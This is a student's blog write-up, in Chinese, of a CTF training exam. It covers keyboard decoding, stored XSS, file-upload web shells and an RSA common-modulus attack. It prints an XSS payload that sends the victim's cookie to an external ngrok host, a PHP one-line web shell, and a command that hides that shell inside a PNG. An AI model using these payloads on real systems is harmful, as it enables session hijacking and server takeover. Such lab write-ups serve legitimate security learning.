SCIST S4 資訊安全期末考 Writeup

CX330 Hacker

我在 2024 參加了 SCIST 課程,雖然常常聽不懂但感覺還是收穫不少。這是上學期最後的一個考試,透過考試來審查是否可以進入下學期的課程。(很幸運的我有過!雖然我覺得我還得多練)。所以以下是一些我有進展的題目的 Write Up。如果發現有錯誤或是哪裡不足,可以在底下留言區留言,我會十分感激!

Welcome

這題我們可以從開發者工具發現類似以下的元素。

1
<div class="key--double" data-key="49" data-input="?F"><div>!</div><div>1</div></div>

再透過以下的 index.js 代碼可以找到真正的 input。

1
2
3
4
5
6
7
8
if (key.hasAttribute("data-input")) {
if (e.shiftKey) {
msg += key.getAttribute("data-input")[0];
} else {
msg += key.getAttribute("data-input")[1];
}
typingElement.innerHTML = msg.replace(/ /g, "&nbsp;");
}

每個標籤的 data-input 屬性是由兩個字符所組成,以上面的 html 標籤為例,當我們按著 shift 的時候按下數字 1 按鍵,實際的 input 會是?,也就是 index 為 0 的位置;但當我們只是單純按下數字 1 按鍵的時候,input 會是F,就是 index 為 1 的位置。

知道了這個特性後,翻找到一份 index.css 文件,將其打開會發現第一行有個註解,以下:

1
/* Passpharse : "JP Jf3j-F@%#$4H%xw" */

我們用一般打字的方法,用 shift 切換大小寫,嘗試輸入 Passphrase。經過以上的轉換,便可以得到 flag。

1
flag = SCIST{G0oD_1u(k_!}

XSSER

看了題目給的 app.js 檔案,可以發現 Flag 是在 visit 函數裡面被設定的,如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function visit(noteId) {
const url = `http://127.0.0.1:3000/note/${noteId}`;
console.log(`[+] Visiting ${url}`);
const context = await browser.createIncognitoBrowserContext()
const page = await context.newPage()

await page.setCookie({
name: 'flag', value: FLAG,
domain: '127.0.0.1', path: '/',
httpOnly: false, secure: false, sameSite: 'Lax'
});

try {
await page.goto(url, { waitUntil: 'networkidle0' })
await sleep(1000);
} catch (e) {
console.error(`[+] error visting ${path} `, e)
}
await page.close()
await context.close()
}

而要觸發這個 visit 函數,必須在回報 note 的地方輸入一個正確合法的 ID,才會執行 visit 函數,程式碼如下。

1
2
3
4
5
6
app.post('/report', (req, res) => {
const { id } = req.body;
if (!NOTES.has(id)) return res.send("Note not found");
visit(id);
res.send('Admin will check your report');
});

接著先在網站嘗試隨意 POST 一個正常的 note,會發現網址變成了以下的形式。

1
http://lab.scist.org:20001/note/732733d42c28d7060c71be53a4dd491b

其中”note/“路徑後面的1e9dafbc67ea0516bacce8d5d36a3c7a,便是一個合法的 note ID。

到了這邊,我原本以為是要把合法的 ID 和 XSS 的 payload 結合在一起,並在 Report 的地方提交。但經過助教的提示之後,知道應該是要把 payload 提交在 note 的內文,所以我開始重新研究一次 app.js 的程式碼。發現了之前沒仔細看到可能可以注入 XSS 的地方,如下。

1
2
3
4
5
6
app.get('/note/:noteId', (req, res) => {
const noteId = req.params.noteId;
const note = NOTES.get(noteId);
if (!note) return res.send('Note not found!');
res.send(`<h1>Your Note<h1><p id="note">${note}</p>`);
});

在這段程式碼中,可以看到我們提交的 note 會被夾在 p 標籤中解析,所以我嘗試注入<script>alert(1)</script>發現不能執行,因為 app.js 裡面限制了允許的標籤白名單,只有 s、b、u、p、code 這五個標籤能使用,其餘的標籤會被 strip 掉。知道可以用的標籤後,我使用了 p 標籤提交,嘗試執行 javascript,payload 如下:

1
<p/onmouseover=alert(1)>test<p>

發現 note 只會被解析成test,而移動滑鼠到上面的時候也確實會執行 js,因此接下來要做的就是修改 payload,並再提交 note 後去 report 的地方提交 id,讓 visit 去執行到我們提交的腳本,就可以得到 cookie 了。

我用 ngrok 在本地先架了個伺服器,並且嘗試透過其獲取 cookie,payload 如下:

1
<p/onmouseover=document.location.href="https://1ffb-36-234-174-194.ngrok-free.app/"+document.cookie style="position:fixed;left:0;top:0;width:9999px;height:9999px;">test<p>

但是因為 onmouseover 屬性需要有滑鼠滑過,即便我把 p 標籤調整的很大,但因為 visit 函數不會有滑鼠滑過,所以還是不會執行。很可惜到了截止的最後,還是沒能找出正確的 payload 獲取到 flag。

最後來談談這個漏洞在真實世界可能的危害,題目在每次回報完後都會提示admin will check your report,這告訴我們如果真實世界中有人利用 XSS 漏洞注入了惡意代碼,而當系統管理員去”check”的時候,自己的 cookie 可能就會被利用,讓有心人士可以在不知道 admin 帳號密碼的情況下以 admin 的權限登入系統。

Uploader

在這題裡面,我先嘗試上傳了一張正常的圖片,發現網頁會呈現這樣的狀態。
我一開始先用了課程中教過的一句話木馬來嘗試上傳,我上傳的是 php 檔。

1
<?php echo system($_GET['command']); ?>

結果系統會回應not a PNG file,這表示前端會檢測是否為合法的上傳檔案類型,我又嘗試把檔名修改為shell.php.png再進行上傳,結果系統的回應是Invalid image,表示後端也有檢測他是否為 PNG 檔案。後來又嘗試了很多其他的方法,包括在 php payload 前面加上 magic numbers 89504E47嘗試讓系統解析為 PNG 檔,但得到的回應都跟前面差不多。

最後,在經過一番搜尋、查找資料後,發現只剩下一個方法,就是上傳圖片馬。所謂的圖片馬,就是把圖片和木馬組合在一起上傳。於是我準備了一張正常的 png(normal.png)和惡意的 php 代碼(shell.php),將其放在同一個路徑底下。接著利用以下的指令將其組合為惡意圖片馬(pwn.png):

1
copy normal.png/b + shell.php/a pwn.png

接著我將 pwn.png 上傳,發現系統回應Bad content,到這邊,比賽就結束了,結果最後還是沒能成功地取得 Flag,QQ。

Common modulus

這題的題目給了三個 e(公鑰),三個 c(密文),還有一個 n(質數因子相乘),如果有其中兩個 e 是互質,也就是 gcd(e1, e2) = 1 的話,就可以利用一般的共模攻擊,去求得 m(明文),就是利用會有一組 s1 和 s2 滿足 s1 _ e1 + s2 _ e2 = 1 的條件,加上一點計算,去找出原本的 m,如下。

1
2
3
4
5
6
7
已知 s1 * e1 + s2 * e2 = 1
==========================
c1 ^ s1 * c2 ^ s2 mod n
= m ^ (e1 * s1) * m ^ (e2 * s2) mod n
= m ^ (e1 * s1 + e2 * s2) mod n
= m mod n
= m

可惜這題的三個 e 都不是互質的,所以要用其他的方法,我就找到了一篇文章 ,裡面的方法是這樣:

1
2
3
4
5
6
7
8
9
gcd(e1, e2) = gcd
c1 = (m ^ e1') ^ gcd mod n
c2 = (m ^ e2') ^ gcd mod n
e1' * s1 + e2' * s2 = 1

c1 ^ s1 * c2 ^s2 mod n
= (((m ^ e1') ^ gcd) ^ s1) * (((m ^ e2') ^ gcd) ^s2) mod n
= m ^ (e1' * s1 * gcd + e2' * s2 * gcd) mod n
= m ^ gcd mod n

所以只要把最後算出來的 m 再開 gcd 次方根就能找到明文,於是我寫了下面的腳本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from gmpy2 import gcdext, iroot, gcd
from Crypto.Util.number import inverse, long_to_bytes

n = 22777210958276255973049562078823322470680917129996977683503001216538435863571279721754251786904659128777249694642787480739356668460290853226080964490087136228546045908347764486557698226166963415933243390587759408509357466384117429023536043020407223339909068182712164327318468662771341384255178839693851749833498595767285757850112681038669603653206881003854674152787778849201349140811383067441876396986225542868926178627083357794996583066978454919162611524965685485188287561894204743004599366796640463833284730895990140454443706509700257117888543581605105114423861683342316455500361042572686499019143155407840720672419
e1 = 2755481107
e2 = 3066037283
# e3 = 3825027809
c1 = 7927632180925780686814468716254548866073876571301670927803568567992929927231666309788681512003760545920706822481579873353923145930555620003462589361971404649174770107086295817994744475096856399932862153021335565923236506465046739212222528807145844779588311833022632475905272022533594289777471811000950934146066045472218603345107418836739010466236517799411565681939684720963118217633594133046157469386003057018852372681387318985149400851657988757739939640107583630568340335757129814894759082226790230350623403635880468479392207604875482436028050237168056669104984504520909514306552404757744266671282270481535254632231
c2 = 19162894772364755634695403163786451410245098251726628084799257554767334519905640179161346412307514221332891648206034353728374020165930677162860102377777681292582203157662333178388904577242217496599789741706061676944395451665239726479077741007297709368920091594846785681021427819585722029936761040901809601396670202192052497066209075288103228744858127970671076282164969113619499174358765991380757911727424305398346399701274033326030443722686643479760852934150701783998463047750118216160431187984416861424972003041835112849345069144579908117061092179552843173803432427193984945136248106420527309951492325647621839772126
# c3 = 12281989205300534636704612304895466894728582803084654071108548003638296732533233324118128443432186580642178421360358569501856887776677567285142630332770995470034693283004693504328569378601328550606731466373274474890323776647142155504550689141803732334439130044963732806927780975317712578470165550637007845813598338398021681428237912733055103663278507239375781432804708170722603762602715296180599171769475818480578806749013564273888734572033232825425951511959908980277564593244704622649568752985829748683356507419796438898916535864730103144986484287500764463579887673117770889298009984153867524175061353407719439002075

g = gcd(e1, e2)
e1_ = e1 // g
e2_ = e2 // g
l, s1, s2 = gcdext(e1_, e2_)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
m = iroot(m, g)[0]
print(f"flag = {long_to_bytes(m).decode()}")

只不過最後的答案是錯誤的,沒能找到正確的 flag。可能是因為本題的 gcd 太大,還要找其他的算法。

參賽心得

這次算是我第一次花了那麼多的時間打 CTF 比賽,之前可能就是自己在網路上解解題甚麼的,總的來說還是很有趣的一次體驗。而參加完這次的比賽,我也更加地意識到自己的不足,真的還有很多可以進步、練習的地方。即便可能有點被打擊信心,但我也不會氣餒,我要更努力的練習,沒事就多解解題甚麼的,增強自己的實力,希望可以在之後的比賽表現得越來越好!

參考資料區

  • Title: SCIST S4 資訊安全期末考 Writeup
  • Author: CX330
  • Created at : 2024-05-28 13:33:42
  • Updated at : 2024-11-21 16:11:03
  • Link: https://en.cx330.tw/CyberSec/CTF/SCIST-S4-資訊安全期末考-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
SCIST S4 資訊安全期末考 Writeup